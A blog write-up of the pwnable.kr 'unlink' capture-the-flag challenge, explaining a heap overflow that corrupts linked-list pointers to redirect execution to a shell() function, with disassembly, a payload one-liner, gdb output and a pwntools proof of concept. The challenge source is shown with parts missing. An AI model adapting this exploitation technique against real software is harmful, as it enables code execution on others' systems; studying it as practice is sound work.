Writeup: pwnable.kr “unlink”

Pretty easy task from pwnable.kr but took me waaay too long.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];

void shell(){

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
int main(int argc, char* argv[]){
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!

        // exploit this unlink!
        return 0;

We’ve got here three structures allocated on the heap, which are doubly-linked in a ptalloc fashion where a chunk’s header contains a pointer to the previous chunk and to the next one. There is also an obvious overflow which presumably would allow us to corrupt these structures. At the start of the program an address from the heap and one from the stack are leaked which is quite handy since the binary has got ASLR enabled.

After launching the program in gdb with a 100 byte buffer we see that we control $eax and $edx, and mov dword ptr [eax + 4], edx fails since $eax+4 is an invalid address.

It basically means that this mov operation provides us with a generic “write-what-where” condition. Just two instructions below there is another mov which does a vice versa thing: it writes from $edx to a location pointed by $eax. The first idea is of course to overwrite the return pointer when ret is performed at 0x804852e with a pointer to shell() function from the original task code. However, this attempt will fail since the second mov will try to write our $esp pointer from $edx to a dereferenced pointer in $eax, i.e. overwrite the shell() function.

This is where I stuck for a while until I noticed pretty interesting operations at the end of program execution:

0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>:   leave  
0x08048603 <+212>:   lea    esp,[ecx-0x4]
0x08048606 <+215>:   ret  

We see that we’ve got an additional dereference at $ecx-0x4 which may point to our controlled data in the heap if we use the “write-what-where” condition to overwrite $ebp-0x4. We don’t care about unwanted write done by the second mov any more as it will be done in the heap, and not in the code section. So we overwrite $ebp-4 with a pointer to the heap, where we will store a pointer (with an -0x4 offset) to the shell() function.

pwndbg> r <<< `python -c 'from struct import pack; print(pack("<I", 0x80484eb) + "A" * 20 + pack("<I", 0xffffd2b4 - 4) + pack("<I", 0x804b578 + 4))'`
Starting program: /home/raz0r/pwn/unlink <<< `python -c 'from struct import pack; print(pack("<I", 0x80484eb) + "A" * 20 + pack("<I", 0xffffd2b4 - 4) + pack("<I", 0x804b578 + 4))'`
here is stack address leak: 0xffffd2a4
here is heap address leak: 0x804b570
now that you have leaks, get shell!
[New process 21976]
process 21976 is executing new program: /bin/dash
[New process 21977]
process 21977 is executing new program: /bin/dash
[Inferior 3 (process 21977) exited normally]

Nice! /bin/dash is executed which means that we successfully overwritten return address with shell() pointer. However, we have to get rid of static addresses because of ASLR. And we can do so by using leaks from the stdout. The addresses will change to the following:

  • 0x80484eb points to shell() and is static;
  • 0xffffd2b4 is ret address, offset is stack leak + 16;
  • 0x804b578 is a pointer to the heap where we store a pointer to shell(), offset is heap leak + 8.

I also had to adjust the distance between the first two pointers (20 “A”s – on my machine, 12 “A”s – on pwnable.kr server).

Final PoC:

import re
from pwn import *
from struct import pack

p = process("./unlink")

stack_leak = int(re.search('0x[^\n]+', p.recvline()).group(0),16)
heap_leak = int(re.search('0x[^\n]+', p.recvline()).group(0),16)
ret = stack_leak + 16
shell = 0x80484eb
heap = heap_leak + 8
p.sendline(pack('<I', shell) + "A" * 12 + pack('<I', ret - 4) + pack('<I', heap + 4))

And the flag:

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.